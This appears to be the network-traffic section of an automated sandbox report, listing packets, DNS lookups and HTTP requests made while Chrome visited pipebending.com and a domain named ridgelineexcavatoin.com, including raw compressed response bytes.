Apr 18, 2024 23:06:31.211683989 CEST	443	49803	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.212083101 CEST	49803	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.212184906 CEST	443	49803	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.212235928 CEST	49803	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.256159067 CEST	443	49803	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.265398979 CEST	49803	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.319504023 CEST	443	49804	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.319885015 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.319945097 CEST	443	49804	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.323702097 CEST	443	49804	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.323828936 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.324244976 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.324347019 CEST	443	49804	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.324404001 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.372127056 CEST	443	49804	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.376377106 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.376406908 CEST	443	49804	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.424406052 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.448499918 CEST	443	49803	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.448602915 CEST	443	49803	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.448678017 CEST	49803	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.448786020 CEST	49803	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.448834896 CEST	443	49803	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.448863983 CEST	49803	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.448901892 CEST	49803	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.449309111 CEST	49805	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.449373007 CEST	443	49805	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.449456930 CEST	49805	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.449784040 CEST	49805	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.449815989 CEST	443	49805	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.556345940 CEST	443	49804	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.556519032 CEST	443	49804	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.556593895 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.556691885 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.556739092 CEST	443	49804	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.556766987 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.556799889 CEST	49804	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.557522058 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.557563066 CEST	443	49806	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.557637930 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.557897091 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.557910919 CEST	443	49806	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.664077997 CEST	443	49805	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.664458036 CEST	49805	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.664516926 CEST	443	49805	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.665038109 CEST	443	49805	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.665344000 CEST	49805	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.665446043 CEST	443	49805	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.665476084 CEST	49805	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.665528059 CEST	49805	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.665553093 CEST	443	49805	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.710365057 CEST	49805	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.776879072 CEST	443	49806	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.777266026 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.777323008 CEST	443	49806	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.778546095 CEST	443	49806	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.778855085 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.778970957 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.778991938 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.779032946 CEST	443	49806	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.822372913 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.896218061 CEST	443	49805	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.896320105 CEST	443	49805	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:31.896534920 CEST	49805	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.896620035 CEST	49805	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:31.896656990 CEST	443	49805	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:32.013369083 CEST	443	49806	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:32.013545036 CEST	443	49806	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:32.013638020 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:32.013725996 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:32.013747931 CEST	443	49806	35.190.80.1	192.168.2.16
Apr 18, 2024 23:06:32.013761044 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:32.013809919 CEST	49806	443	192.168.2.16	35.190.80.1
Apr 18, 2024 23:06:35.225153923 CEST	443	49802	64.233.177.99	192.168.2.16
Apr 18, 2024 23:06:35.225322962 CEST	443	49802	64.233.177.99	192.168.2.16
Apr 18, 2024 23:06:35.225408077 CEST	49802	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:06:35.904548883 CEST	49700	80	192.168.2.16	192.229.211.108
Apr 18, 2024 23:06:36.011239052 CEST	80	49700	192.229.211.108	192.168.2.16
Apr 18, 2024 23:06:36.011411905 CEST	49700	80	192.168.2.16	192.229.211.108
Apr 18, 2024 23:06:36.497415066 CEST	49802	443	192.168.2.16	64.233.177.99
Apr 18, 2024 23:06:36.497483015 CEST	443	49802	64.233.177.99	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 18, 2024 23:05:20.173464060 CEST	54794	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:20.173717976 CEST	65146	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:20.245203972 CEST	53	61604	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:20.296302080 CEST	53	49484	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:20.404129028 CEST	53	65146	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:20.933497906 CEST	53	64284	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:21.086380005 CEST	53	54794	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:21.509902954 CEST	53	62764	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:21.515497923 CEST	53	51621	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:22.234596014 CEST	51339	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:22.234986067 CEST	52967	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:22.352195978 CEST	53	65045	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:22.420263052 CEST	53	52967	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:22.431071997 CEST	53	51339	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:22.451278925 CEST	53	52584	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:23.660603046 CEST	53	63699	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:24.926191092 CEST	52093	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:24.926350117 CEST	49526	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:25.031059027 CEST	53	52093	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:25.031893015 CEST	53	49526	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:30.356847048 CEST	60390	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:30.357002020 CEST	63918	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:30.495994091 CEST	53	60390	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:30.496738911 CEST	53	63918	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:31.009475946 CEST	51718	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:31.009628057 CEST	52228	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:31.114206076 CEST	53	51718	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:31.114608049 CEST	53	52228	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:31.609652996 CEST	55078	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:31.609873056 CEST	59507	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:31.714385033 CEST	53	55078	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:31.714692116 CEST	53	59507	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:32.104180098 CEST	52932	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:32.104180098 CEST	59379	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:32.232508898 CEST	53564	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:32.232796907 CEST	51164	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:32.236279011 CEST	53	59379	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:32.248853922 CEST	53	52932	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:32.336904049 CEST	53	53564	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:32.337425947 CEST	53	51164	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:33.707619905 CEST	49390	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:33.707781076 CEST	49957	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:05:33.812292099 CEST	53	49957	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:33.812345982 CEST	53	49390	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:38.003797054 CEST	53	60388	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:43.653763056 CEST	53	53892	1.1.1.1	192.168.2.16
Apr 18, 2024 23:05:55.448637009 CEST	138	138	192.168.2.16	192.168.2.255
Apr 18, 2024 23:05:57.096060991 CEST	53	49318	1.1.1.1	192.168.2.16
Apr 18, 2024 23:06:19.519191980 CEST	53	65292	1.1.1.1	192.168.2.16
Apr 18, 2024 23:06:20.191257954 CEST	53	51822	1.1.1.1	192.168.2.16
Apr 18, 2024 23:06:30.995567083 CEST	55388	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:06:30.995882988 CEST	51678	53	192.168.2.16	1.1.1.1
Apr 18, 2024 23:06:31.100248098 CEST	53	55388	1.1.1.1	192.168.2.16
Apr 18, 2024 23:06:31.100352049 CEST	53	51678	1.1.1.1	192.168.2.16
Apr 18, 2024 23:06:48.163399935 CEST	53	50568	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 18, 2024 23:05:20.173464060 CEST	192.168.2.16	1.1.1.1	0xea10	Standard query (0)	www.pipebending.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:20.173717976 CEST	192.168.2.16	1.1.1.1	0xce52	Standard query (0)	www.pipebending.com	65	IN (0x0001)	false
Apr 18, 2024 23:05:22.234596014 CEST	192.168.2.16	1.1.1.1	0xa99e	Standard query (0)	www.pipebending.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:22.234986067 CEST	192.168.2.16	1.1.1.1	0xd65	Standard query (0)	www.pipebending.com	65	IN (0x0001)	false
Apr 18, 2024 23:05:24.926191092 CEST	192.168.2.16	1.1.1.1	0x2f1b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:24.926350117 CEST	192.168.2.16	1.1.1.1	0x679d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 18, 2024 23:05:30.356847048 CEST	192.168.2.16	1.1.1.1	0x30af	Standard query (0)	ridgelineexcavatoin.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:30.357002020 CEST	192.168.2.16	1.1.1.1	0x3216	Standard query (0)	ridgelineexcavatoin.com	65	IN (0x0001)	false
Apr 18, 2024 23:05:31.009475946 CEST	192.168.2.16	1.1.1.1	0x3720	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:31.009628057 CEST	192.168.2.16	1.1.1.1	0x27d5	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 18, 2024 23:05:31.609652996 CEST	192.168.2.16	1.1.1.1	0xe772	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:31.609873056 CEST	192.168.2.16	1.1.1.1	0xe687	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 18, 2024 23:05:32.104180098 CEST	192.168.2.16	1.1.1.1	0xf1ed	Standard query (0)	ridgelineexcavatoin.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:32.104180098 CEST	192.168.2.16	1.1.1.1	0x9e0d	Standard query (0)	ridgelineexcavatoin.com	65	IN (0x0001)	false
Apr 18, 2024 23:05:32.232508898 CEST	192.168.2.16	1.1.1.1	0x632e	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:32.232796907 CEST	192.168.2.16	1.1.1.1	0xf62	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 18, 2024 23:05:33.707619905 CEST	192.168.2.16	1.1.1.1	0x469a	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:33.707781076 CEST	192.168.2.16	1.1.1.1	0xa9d1	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 18, 2024 23:06:30.995567083 CEST	192.168.2.16	1.1.1.1	0x4bd6	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:06:30.995882988 CEST	192.168.2.16	1.1.1.1	0xdf68	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 18, 2024 23:05:20.404129028 CEST	1.1.1.1	192.168.2.16	0xce52	No error (0)	www.pipebending.com	pipebending.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:05:21.086380005 CEST	1.1.1.1	192.168.2.16	0xea10	No error (0)	www.pipebending.com	pipebending.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:05:21.086380005 CEST	1.1.1.1	192.168.2.16	0xea10	No error (0)	pipebending.com		208.109.76.254	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:22.420263052 CEST	1.1.1.1	192.168.2.16	0xd65	No error (0)	www.pipebending.com	pipebending.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:05:22.431071997 CEST	1.1.1.1	192.168.2.16	0xa99e	No error (0)	www.pipebending.com	pipebending.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:05:22.431071997 CEST	1.1.1.1	192.168.2.16	0xa99e	No error (0)	pipebending.com		208.109.76.254	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:25.031059027 CEST	1.1.1.1	192.168.2.16	0x2f1b	No error (0)	www.google.com		64.233.177.99	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:25.031059027 CEST	1.1.1.1	192.168.2.16	0x2f1b	No error (0)	www.google.com		64.233.177.147	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:25.031059027 CEST	1.1.1.1	192.168.2.16	0x2f1b	No error (0)	www.google.com		64.233.177.105	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:25.031059027 CEST	1.1.1.1	192.168.2.16	0x2f1b	No error (0)	www.google.com		64.233.177.103	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:25.031059027 CEST	1.1.1.1	192.168.2.16	0x2f1b	No error (0)	www.google.com		64.233.177.106	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:25.031059027 CEST	1.1.1.1	192.168.2.16	0x2f1b	No error (0)	www.google.com		64.233.177.104	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:25.031893015 CEST	1.1.1.1	192.168.2.16	0x679d	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 18, 2024 23:05:30.495994091 CEST	1.1.1.1	192.168.2.16	0x30af	No error (0)	ridgelineexcavatoin.com		172.67.191.217	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:30.495994091 CEST	1.1.1.1	192.168.2.16	0x30af	No error (0)	ridgelineexcavatoin.com		104.21.20.67	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:30.496738911 CEST	1.1.1.1	192.168.2.16	0x3216	No error (0)	ridgelineexcavatoin.com			65	IN (0x0001)	false
Apr 18, 2024 23:05:31.114206076 CEST	1.1.1.1	192.168.2.16	0x3720	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:31.714385033 CEST	1.1.1.1	192.168.2.16	0xe772	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:31.714385033 CEST	1.1.1.1	192.168.2.16	0xe772	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:31.714692116 CEST	1.1.1.1	192.168.2.16	0xe687	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 18, 2024 23:05:32.236279011 CEST	1.1.1.1	192.168.2.16	0x9e0d	No error (0)	ridgelineexcavatoin.com			65	IN (0x0001)	false
Apr 18, 2024 23:05:32.248853922 CEST	1.1.1.1	192.168.2.16	0xf1ed	No error (0)	ridgelineexcavatoin.com		104.21.20.67	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:32.248853922 CEST	1.1.1.1	192.168.2.16	0xf1ed	No error (0)	ridgelineexcavatoin.com		172.67.191.217	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:32.336904049 CEST	1.1.1.1	192.168.2.16	0x632e	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:32.336904049 CEST	1.1.1.1	192.168.2.16	0x632e	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:32.337425947 CEST	1.1.1.1	192.168.2.16	0xf62	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 18, 2024 23:05:33.812292099 CEST	1.1.1.1	192.168.2.16	0xa9d1	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 18, 2024 23:05:33.812345982 CEST	1.1.1.1	192.168.2.16	0x469a	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:05:33.812345982 CEST	1.1.1.1	192.168.2.16	0x469a	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:06:31.100248098 CEST	1.1.1.1	192.168.2.16	0x4bd6	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

slscr.update.microsoft.com

ridgelineexcavatoin.com

https:

challenges.cloudflare.com

a.nel.cloudflare.com

armmf.adobe.com

www.pipebending.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49716	208.109.76.254	80	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:05:21.231776953 CEST	434	OUT	GET / HTTP/1.1 Host: www.pipebending.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:21.391500950 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:21 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Tue, 05 Jan 2021 13:37:47 GMT ETag: "9e0c96-b56-5b8274fe200c0-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 1280 Keep-Alive: timeout=5 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 56 5b 6f db 36 14 7e 4e 7f 05 a3 87 ca 46 74 49 d3 66 49 63 c9 83 73 41 db 61 0d 86 22 5b 31 04 c1 40 4b 47 12 3d 8a d4 48 ca 9e 91 e4 bf ef 50 17 47 71 93 20 0f 7b 91 c8 c3 73 f9 ce 95 8c 76 53 99 98 75 05 a4 30 25 9f 46 bb be 7f cd 32 c2 0d f9 72 41 8e 6e a6 6f 22 4b 27 09 a7 5a c7 8e 90 fe 42 e3 a1 cf e0 63 fb 3b 6e 7f 47 ce 94 44 bb d7 20 52 96 dd f8 fe 46 cf 2b 95 3c 2f 7d fc 92 f4 33 62 b9 e9 24 2d e1 29 71 87 88 dc a7 55 15 3b 46 b1 8a c3 f9 ac aa 9c 86 7b a8 0e 05 81 a6 d3 37 3b f6 80 7c e2 72 4e 39 d1 cc 00 31 34 27 a3 1c bf c1 42 8f 09 9e 49 99 73 20 33 41 f9 da b0 44 13 2b bd 13 e9 04 b5 1b 42 f5 5a 24 44 ab 24 76 0a 63 2a 7d 12 86 ab d5 2a c8 1b 21 54 52 52 41 73 50 41 22 cb d0 2a 0d 17 fa 67 96 c6 bf cf fc 77 07 07 fb ef 7f 3a d8 3f f6 df 21 bc b0 d5 f7 a0 19 57 3b 2b 26 52 b9 0a 52 6a e8 af 74 0d 8a c4 e4 07 d2 dd 1d b9 be 99 20 73 56 8b c4 30 29 88 35 33 1a df 6e 58 82 aa d6 c5 88 aa bc 2e 41 18 3d 9e dc 23 77 c3 e4 2e b4 eb 11 01 2b 72 4e 0d 8c c6 63 ab 67 73 98 48 91 b1 1c 19 dc c7 68 5d cb 36 00 dc c7 b0 8d d3 15 86 ef 6b eb f4 a3 48 59 7f 46 3d c6 d1 ca 4b 3d ed 71 8f 8d 6f 57 d7 fc 26 b6 9f bb 3b 74 c4 2e 5a c0 b7 6e 6e ca 40 1b aa 8c 7b 82 c2 0f 30 83 1c cc 15 2b 71 e5 c1 12 5d 3a 69 38 d1 97 fb f1 64 49 15 c9 e2 d4 b2 5c 70 68 1c 3e 5d 23 a6 4b 8a fc 7a 7c bd 7f e3 a1 ae 05 72 24 0a 50 5b c7 84 47 5e ca 63 be 1b bb 9b b8 b9 3f bb 6f 79 ec ee f1 13 d7 9d 2c 82 26 d3 b1 51 35 e0 c6 26 1c f5 b8 af c8 b9 45 66 53 ee ee b1 bd 94 4f b2 a0 a2 0a 2d 5e ca 14 02 26 34 28 73 0a 99 54 30 5a 78 59 93 80 fb f1 a8 cd b2 87 dd db e4 cc 73 db 18 ba de 00 9d e7 7e ba fa ea 7f 3f fc 76 f8 f9 97 b3 ed 9c 34 19 b9 10 e9 73 59 41 8e 12 a1 92 a4 a0 4a 83 89 9d da 64 3e 76 2a d2 0d 33 28 80 3d 34 47 10 b1 e3 9e 82 a8 94 24 57 90 14 42 72 99 33 d0 e4 4c aa 2a 20 6f cb 94 ea 62 42 5c b2 47 1a 29 67 fa 2c 73 14 36 1c d3 de b0 c0 7c c4 4e 0a 2d 62 2c 09 87 60 bd 19 74 36 76 4e 6d 97 8a 9c 98 02 48 25 b5 66 73 c6 99 41 55 01 f9 8e a3 8c 2e a1 39 52 2c 2f 0c 81 7f 6a 56 d9 20 11 8a ee 3e d0 2b 90 d8 fc c4 48 92 02 67 4b f4 1b 6b 45 ad 11 68 09 81 b3 85 63 c9 60 55 49 65 06 20 56 2c 35 45 9c c2 92 25 e0 37 9b 6d a1 4c 61 aa 91 77 20 b4 db 0e 1a f2 1b a7 09 90 8c a2 b0 14 01 7e 1a 70 38 94 38 f8 46 d6 49 e1 37 07 15 3a c9 44 0b 5a 4a 43 52 a6 20 31 12 51 b6 9d c3 99 f8 9b 28 e0 b1 a3 cd 9a 83 2e 00 d0 5a a1 20 eb 29 21 d6 7f 2a b1 d4 b4 76 5e 29 f1 ee c3 21 4d 0e e0 28 40 38 1b b9 39 d5 d0 b1 85 48 88 c2 76 3a 46 73 99 ae 09 16 af 73 7b 4b ec fa 4b 4a ee ef 9d 7e de 76 c4 33 bb 6b e8 58 35 36 16 4a 72 0e 0a 13 89 5a cf 8c e2 ce f4 f9 19 31 12 b2 ad 81 71 e7 74 bf b7 03 23 62 18 e4 12 5e 39 5f 85 0e ec 6d 60 9b 6d d0 1a e8 3e d8 8a 88 9d 7d 87 b4 59 b5 ab 26 1a 58 81 4c 57 9c ae 4f 84 14 30 59 b2 ae d6 d6 27 05 4b 53 10 76 30 b7 10 2c b2 70 00 ed a5 06 db Data Ascii: V[o6~NFtIfIcsAa"[1@KG=HPGq {svSu0%F2rAno"K'ZBc;nGD RF+</}3b$-)qU;F{7;\|rN914'BIs 3AD+BZ$D$vc}!TRRAsPA"gw:?!W;+&RRjt sV0)53nX.A=#w.+rNcgsHh]6kHYF=K=qoW&;t.Znn@{0+q]:i8dI\ph>]#Kz\|r$P[G^c?oy,&Q5&EfSO-^&4(sT0ZxYs~?v4sYAJd>v3(=4G$WBr3L* obB\G)g,s6\|N-b,`t6vNmH%fsAU.9R,/jV >+HgKkEhc`UIe V,5E%7mLaw ~p88FI7:DZJCR 1Q(.Z )!*v^)!M(@89Hv:Fss{KKJ~v3kX56JrZ1qt#b^9_m`m>}Y&XLWO0Y'KSv0,p
Apr 18, 2024 23:05:21.391805887 CEST	337	IN	Data Raw: 72 a9 65 7e 74 f1 46 55 1f c2 b9 92 2b 0d 05 e6 62 ed 4c ff 94 35 c1 e1 40 6a 6d cb 9f 0a 12 69 8c a5 c8 a7 b2 36 d8 f8 90 62 87 b7 04 d2 ca a9 00 4b 0d 6c ee 22 da a5 cf 46 09 83 34 d0 db c4 c6 99 d6 55 ae 68 0a 64 2d 6b d5 8b 47 21 9d da 16 61 Data Ascii: re~tFU+bL5@jmi6bKl"F4Uhd-kG!a%v;+PDURdS&@uubv~.6d-E92Q{V36&6znAVUzXbo8v?xfCaw}=OVZ1T/BKgk<Fm
Apr 18, 2024 23:05:21.409945011 CEST	342	OUT	GET /styles/vendor.css HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/css,/;q=0.1 Referer: http://www.pipebending.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:21.554567099 CEST	507	IN	HTTP/1.1 404 Not Found Date: Thu, 18 Apr 2024 21:05:21 GMT Server: Apache Content-Length: 315 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 